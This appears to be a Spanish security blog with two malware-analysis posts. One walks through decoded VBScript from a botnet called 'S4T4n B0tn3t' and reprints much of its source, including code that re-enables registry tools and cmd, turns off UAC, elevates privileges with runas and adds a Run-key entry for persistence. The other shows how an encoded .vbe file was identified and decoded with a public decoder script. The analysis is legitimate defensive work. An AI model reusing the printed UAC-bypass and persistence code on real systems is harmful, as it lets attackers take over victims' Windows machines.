miércoles, 17 de febrero de 2016

Analizando "S4T4n B0tn3t" - Parte 1


   ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
            ||| v 34.12 Ï S4T4n B0tn3t  |||
   ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

 /\
On error resume Next

Se duerme el proceso durante 5000 ms = 5 sg

wscript.sleep 5000
 /\

En el trozo de código que se muestra a continuación se obtiene el valor de la clave de registro "Timeout". Si dicho valor está establecido a un número igual o superior a 1, se crean dos claves:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = 0

HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout = 0

Tras lo cual se vuelve a lanzar este script

Dim oShell
dim wscr,rr

set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout")

if (rr>=1) then
       Set oShell = WScript.CreateObject ("WScript.Shell")

       oShell.run "cmd /K REG ADD ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableRegistryTools /t REG_DWORD /d 0 /f & reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings"" /v Timeout /t reg_dword /d 0 /f & start "&wscript.Scriptname&"  & exit",0

       Set oShell = Nothing
else
end if

En el trozo de código que se muestra a continuación se almacenan en varias variables los valores siguientes:

1.- El nombre de este script, que se almacena en la variable: "nom"
2.- La ruta absoluta donde se encuentra este archivo con extensión ".vbe"
3.- La información contenida en la variable del sistema "allusersprofile", que el sistema donde se están haciendo las pruebas es: C:/ProgramData, se almacena en la variable: "dema"
4.- La información contenida en la variable del sistema "systemroot", que el sistema donde se están haciendo las pruebas es: C:/Windows, se almacena en la variable: "sys"
5.- La información contenida en la variable del sistema "systemdrive", que el sistema donde se están haciendo las pruebas es: C, se almacena en la variable: "var1"
6.- Se almacena en la variable: "MyF", la cadena: "C:\security\blood.dat

Dim oFS, NomFichier

Set oFS = CreateObject("Scripting.FileSystemObject")
NomFichier = oFS.GetAbsolutePathName(""&wscript.Scriptname&"")
nom = wscript.Scriptname
Set oFS = Nothing

fsO = CreateObject("Scripting.FileSystemObject")
Set WSSH = CreateObject("Wscript.shell")
set wshshell=createobject("wscript.shell")


dema=wshshell.expandenvironmentstrings("%allusersprofile%")
sys=wshshell.expandenvironmentstrings("%systemroot%")
var1=wshshell.expandenvironmentstrings("%systemdrive%")   R00T + TMP DIR
MyF = ""&var1&"\security\blood.dat"

Dim shell
Set shell = WScript.CreateObject("WScript.Shell")
set wscr = CreateObject("WScript.Shell")

En el trozo de código que se muestra a continuación se crea una función que permite determinar si un servicio está o no ejecutándose

function isServiceRunning(strComputer,strServiceName)
       Dim objWMIService, strWMIQuery

       strWMIQuery = "Select * from Win32_Service Where Name = " & strServiceName & " and state=Running"

       Set objWMIService = GetObject("winmgmts:" _
             & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

       if objWMIService.ExecQuery(strWMIQuery).Count > 0 then
             isServiceRunning = true
       else
             isServiceRunning = false
       end if

end function

En el trozo de código que se muestra a continuación se solicita comprobar si el servicio "System" se encuentra activo. Si es así, se solicita el valor de la siguiente clave de registro:

HKLM\software\microsoft\windows\currentversion\policies\explorer\sdate\sdate

Si el valor devuelto es igual o superior a 34, se comprueba la cantidad de procesos ejecutándose correspondientes a: "wscript.exe". Si este valor es igual o superior a 2, se comprueba dos de los archivos que introduce el "malware". Si ambos existen se para el proceso que estamos detallando.

Conclusión: Estamos ante una comprobación de que el hosts en donde se está ejecutando el archivo ".vbe" está o no infectado ya.


Dim strComputer,strServiceName
strComputer = "."  Local Computer
strServiceName = "system"  Windows Service

if isServiceRunning(strComputer,strServiceName) then
       ab = wscr.RegRead("HKLM\software\microsoft\windows\currentversion\policies\explorer\sdate\sdate")

       if (ab >= 34) then if last version

             Set objWMI = GetObject("winmgmts:root\cimv2")

             sQuery = "Select * from Win32_process Where Name = wscript.exe"
            
             if objWMI.execquery(sQuery).Count >= 2 then
            
                    set fsO = CreateObject("Scripting.FileSystemObject")

                    if fsO.FileExists(""&var1&"\security\svchost.exe") Then
                           if fsO.FileExists(""&sys&"\system32\system\msg\config.txt") Then
            
                                  wscript.quit

                           else

                           end if
                    end if
             end if
       end if
end if

En el trozo de código que se muestra a continuación se solicita antes de nada la activación de la activación del comando "CMD", es decir, activa la posibilidad de utilizar dicho comando mediante la modificación de la siguiente clave de registro:

HKCU\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD

A continuación comprueba si el control de cuentas de usuario se encuentra activa mediante una consulta a la siguiente clave de registro:

HKLM\software\microsoft\windows\currentversion\policies\system\EnableLUA

En el caso de que estuviera habilitado el control de cuentas de usuario, entonces se creará un archivo de lotes que posteriormente será ejecutado y eliminado.

Conclusión: Estamos, en esta última parte, ante una evasión del control de permisos de usuarios, ya que se procede a crear una archivo con el usuario que ha lanzado el proceso con la intención de que no se pare el proceso por no tener permisos.

Dim objShell
Dim strMessage, welcome, goodbye

welcome = "DisableCMD"  New Key
goodbye = "HKCU\SOFTWARE\Policies\Microsoft\Windows\System\"

Set objShell = CreateObject("WScript.Shell")

objShell.RegWrite goodbye & welcome, 0, "REG_DWORD"

set wscr = CreateObject("WScript.Shell")
ab = wscr.RegRead("HKLM\software\microsoft\windows\currentversion\policies\system\EnableLUA")

if (err.number <> 0 OR ab = 1) then
  const ForReading = 1 , ForWriting = 2 , ForAppending = 8
  tmpdir=shell.ExpandEnvironmentStrings("%temp%")
  nomfichhh=tmpdir & "\uac.bat"
  set fsO = CreateObject("Scripting.FileSystemObject")
  set f = fso.OpenTextFile(nomfichhh, ForWriting , true)

  f.writeline "@echo off"
  f.writeline "mode con lines=1 cols=14"
  f.writeline "ver | find /i ""version 6.1."" > nul"
  f.writeline "if %errorlevel%==0 goto patch"
  f.writeline "ver | find /i ""version 6.0."" > nul"
  f.writeline "if %errorlevel%==0 goto patch"
  f.writeline ":exit"
  f.writeline "exit"
  f.writeline ":patch"
  f.writeline "if exist ""%temp%\ADMIN.vbe"" del /q /s /f ""%temp%\ADMIN.vbe""  > nul "
  f.writeline "if exist ""%temp%\CPBA.bat"" del /q /s /f ""%temp%\CPBA.bat""  > nul "
  f.writeline "echo set objshell = createobject(""shell.application"") > ""%temp%\ADMIN.vbe"" "
  f.writeline "echo set fsO = createobject(""scripting.filesystemobject"") >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo strpath = fso.getparentfoldername(wscript.scriptfullname) >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo objshell.shellexecute ""cmd.exe"", ""/c"" ^& Chr(34) ^& strpath ^& ""\CPBA.bat"" ^& Chr(34), """", ""runas"", 0 >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo wscript.sleep 1000 >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo on error resume next >> ""%temp%\tp.vbe"" "
  f.writeline "echo WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"",0, ""REG_DWORD"" >> ""%temp%\tp.vbe"" "
  f.writeline "echo ""%temp%\tp.vbe"" >> ""%temp%\CPBA.bat"" "
  f.writeline "echo del/f/q ""%temp%\tp.vbe"" >> ""%temp%\CPBA.bat"" "
  f.writeline "echo REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v rescue /d """""""""&dema&"\rescue.vbe"""""""" >> ""%temp%\CPBA.bat"" "
  f.writeline "echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v consentpromptbehavioradmin /t reg_dword /d 0 /f ^> nul >> ""%temp%\CPBA.bat"" "
  f.writeline "echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f ^> nul >> ""%temp%\CPBA.bat"" "
  f.writeline "start """" /wait ""%temp%\ADMIN.vbe""    "
  f.writeline " reg query hklm\software\microsoft\windows\currentversion\policies\system /v enablelua | find /i ""0x0"" >nul "
  f.writeline " if %errorlevel%==0 goto ok "
  f.writeline " start """"/wait/MAX ""%temp%\uac.bat"" "
  f.writeline ":ok"
  f.writeline "if exist ""%temp%\ADMIN.vbe"" del /q /s /f ""%temp%\ADMIN.vbe""  > nul "
  f.writeline "if exist ""%temp%\CPBA.bat"" del /q /s /f ""%temp%\CPBA.bat""  > nul "
  f.writeline "EXIT"
  f.close

  set variable = createobject("wscript.shell")
  variable.run ""&nomfichhh&"" ,0,true

  fso.DeleteFile nomfichhh, true
end if
Para ser más legible, se muestra una imagen del archivo por lotes: uac.bat

Imagen del archivo: uac.bat

Este archivo comprueba antes de ejecutarse la versión del sistema operativo. Si la versión es la 6.1 o la 6.0, el archivo no realizará ninguna tarea, con otra versión seguirá realizando tareas.

NOTA:  La versión 6.1 se corresponde con: Windows 7 y Windows Server 2008 R2
                La versión 6.0 se corresponde con: Windows Vista y Windows Server 2008

Si continuamos analizando el código, podemos ver se comprueba la existencia de dos archivos ubicados en la carpeta "Temp" definida por el usuario: ADMIN.vbe y CPBA.bat. Si existen, se eliminan.

A continuación se crean los siguientes tres archivos:

tp.vbe

Código del archivo: tp.vbe

ADMIN.vbe

Código del archivo:ADMIN.vbe


CPBA.bat

Código del archivo: CPBA.bat


De los cuales, el primero en ejecutar es: ADMIN.vbe, por lo que se lanzará la ejecución del archivo: CPBA.bat. Este a su vez, intentará crear o modificar las siguientes claves del registro de Windows.

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue

NOTA: Es muy significativa esta nueva entrada en el registro de Windows, porque será ella la que, cada vez que se reinicie el sistema, mantendrá la persistencia del "malware".

hklm\software\microsoft\windows\currentversion\policies\system\consentpromptbehavioradmin
hklm\software\microsoft\windows\currentversion\policies\system\enablelua

Tras estas ejecuciones se comprobará el cambio en la última clave de registro anteriormente comentada. Si este se ha producido se eliminarán los archivos: ADMIN.vbe y CPBA.bat, pero si no se ha producido se volverá a ejecutar el archivo: uac.bat


NOTA: La última condición "if", podría provocar un bucle infinito que supusiera un DoS al sistema

viernes, 12 de febrero de 2016

Analizando el archivo: "Update.dat"

Se paso el siguiente archivo para analizar:

Nombre:             Update.dat
Md5:                   2EE96AC73679D0F7C647A22BF52B7ED2

Md5 del archivo a analizar

Se determina el tipo de archivo, que en nuestro caso es: Data

Tipo de archivo

Se revisa el contenido del mismo, encontrándose datos que aparecen ser datos codificados/cifrados.

Contenido del archivo a investigar

Los archivos ".dat" tienen la particularidad de que solamente se pueden abrir con el archivo que los ha generado, por lo que se necesita conocer el programa que lo ha generado.

Información encontrada sobre los archivos ".dat"

Más información:  http://www.online-convert.com/es/formato-de-archivo/dat

Se revisan los primeros bytes del documento, comprobando que existe la cadena de texto: "This program cannot be run in DOS mode"

 Primeros bytes del archivo a analizar

Por este motivo se procede a modificar el "magic number" para que se corresponde con el "magic number" de un archivo PE, pero no se obtiene el resultado deseado (ver el código fuente)

Se realizan otras pruebas pero gracias a VirusTotal se descubre le tipo de archivo con el que está lidiando: Visual Basic Script.

Información dada por VirusTotal sobre nuestro archivo.

Más información:
https://www.virustotal.com/es/file/11cf0916424e955ac59505b192979010c0a9fb15171286c6c2e7e05680c652f7/analysis/

Si se cambia la extensión por la de ".vbs", tampoco obtenemos el resultado.

NOTA: El código de dichos archivos es código plano.

Por lo que nos encontramos ante un archivo con extensión ".vbe", Visual Basic Encriptado, que es como si fuera un archivo con extensión ".exe".

Se procede a intentar descubrir una manera de descifrar el código para analizar el código fuente, descubriéndose el siguiente código en Internet:

'===============================================================================
'===============================================================================
'  SCRIPT........:  scriptDecode.vbs                  
'  VERSION.......:  1.5
'  DATE..........:  11/22/2003
'  AUTHOR........:  Jean-Luc Antoine
'  LINK..........:  http://www.interclasse.com/scripts/decovbe.php
'  ALTERED BY....:  Joe Glessner
'  DESCRIPTION...:  Decodes scripts encoded with screnc.exe. Usable with
'                   Wscript by dragging an encoded script onto this one. If done
'                   this way, only the first 100 lines (or so) of the script
'                   will be displayed.
'                   If run using Cscript.exe the entire output will be
'                   displayed.
'                   This script can be used to output the decoded script to a
'                   file using Cscript.exe by calling it with the following
'                   syntax:
'
'              cscript [Path]\scriptDecoder.vbs [Path]\<filename> >> output.txt
'
'===============================================================================
'===============================================================================
'**Start Encode**

'===============================================================================
'#  START <CODE>
'===============================================================================
option explicit

    '---------------------------------------------------------------------------
                        '#  Declare variables
                        '---------------------------------------------------------------------------
    Dim oArgs, NomFichier

                        '---------------------------------------------------------------------------
                        '#  Check Arguments
                        '---------------------------------------------------------------------------
                        NomFichier=""
                        Set oArgs = WScript.Arguments
                        Select Case oArgs.Count
                        Case 0 'No Arg, popup a dialog box to choose the file
                                               NomFichier=BrowseForFolder("Choose an encoded file", &H4031, &H0011)
                        Case 1
                                               If Instr(oArgs(0),"?")=0 Then '-? ou /? => aide
                                                                       NomFichier=oArgs(0)
                                               End If
                        Case Else
                                               WScript.Echo "Too many parameters"
                        End Select
                        Set oArgs = Nothing

                        '---------------------------------------------------------------------------
                        '#  Decode the file and output the results
                        '---------------------------------------------------------------------------
    If NomFichier<>"" Then
        Dim fso
        Set fso=WScript.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(NomFichier) Then
            Dim fic,contenu
            Set fic = fso.OpenTextFile(NomFichier, 1)
            Contenu=fic.readAll
            fic.close
            Set fic=Nothing
   
            Const TagInit="#@~^" '#@~^awQAAA==
            Const TagFin="==^#~@" '& chr(0)
            Dim DebutCode, FinCode
            Do
                FinCode=0
                DebutCode=Instr(Contenu,TagInit)
                If DebutCode>0 Then
                    If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then
                        'If "==" follows the tag
                        FinCode=Instr(DebutCode,Contenu,TagFin)
                        If FinCode>0 Then
                            Contenu=Left(Contenu,DebutCode-1) & _
                            Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
                            Mid(Contenu,FinCode+6)
                        End If
                    End If
                End If
            Loop Until FinCode=0
            WScript.Echo Contenu
        Else
            WScript.Echo Nomfichier & " not found"
        End If
        Set fso=Nothing
    Else
        WScript.Echo "Please give a filename"
        WScript.Echo "Usage : " & wscript.fullname  & " " & WScript.ScriptFullName & _
         " <filename>"
    End If

'===============================================================================
'#  Functions
'===============================================================================
    '---------------------------------------------------------------------------
                        '#  Name................:  Decode()
                        '#  Use.................:  Decode(Chaine)
                        '#  Purpose.............:  Reverse the encoding done by screnc.exe.
                        '---------------------------------------------------------------------------
    Function Decode(Chaine)
        Dim se,i,c,j,index,ChaineTemp
        Dim tDecode(127)
        Const Combinaison="1231232332321323132311233213233211323231311231321323112331123132"
        Set se=WSCript.CreateObject("Scripting.Encoder")
        For i=9 to 127
            tDecode(i)="JLA"
        Next
        For i=9 to 127
            ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
            For j=1 to 3
                c=Asc(Mid(ChaineTemp,j,1))
                tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
            Next
        Next
        'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
        tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
        Set se=Nothing
        Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
        Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
        Chaine=Replace(Chaine,"@$","@")
        index=-1
        For i=1 to Len(Chaine)
            c=asc(Mid(Chaine,i,1))
            If c<128 Then index=index+1
            If (c=9) or ((c>31) and (c<128)) Then
                If (c<>60) and (c<>62) and (c<>64) Then
                    Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison, _
                     (index mod 64)+1,1),1) & Mid(Chaine,i+1)
                End If
            End If
        Next
        Decode=Chaine
    End Function

    '---------------------------------------------------------------------------
    '#  Name................:  BrowseForFolder()
                        '#  Use.................:  BrowseForFolder(ByVal pstrPrompt, ByVal
    '#                             pintBrowseType, ByVal pintLocation)
    '#  Purpose.............:  Locate the encoded script using Shell.Application
                        '---------------------------------------------------------------------------
    Function BrowseForFolder(ByVal pstrPrompt, ByVal pintBrowseType, ByVal pintLocation)
        Dim ShellObject, pstrTempFolder, x
        Set ShellObject=WScript.CreateObject("Shell.Application")
        On Error Resume Next
        Set pstrTempFolder=ShellObject.BrowseForFolder(&H0,pstrPrompt,pintBrowseType,pintLocation)
        BrowseForFolder=pstrTempFolder.ParentFolder.ParseName(pstrTempFolder.Title).Path
        If Err.Number<>0 Then BrowseForFolder=""
        Set pstrTempFolder=Nothing
        Set ShellObject=Nothing
    End Function
   
'===============================================================================
'#  END </CODE>
'===============================================================================

El código para ejecutar el descifrado es:

cscript //NoLogo <archivo para descifrar> <archivo cifrado> > <archivo de salida de datos>

El resultado es bastante interesante:

Código fuente contenido en el archivo investigado


¡Interesante!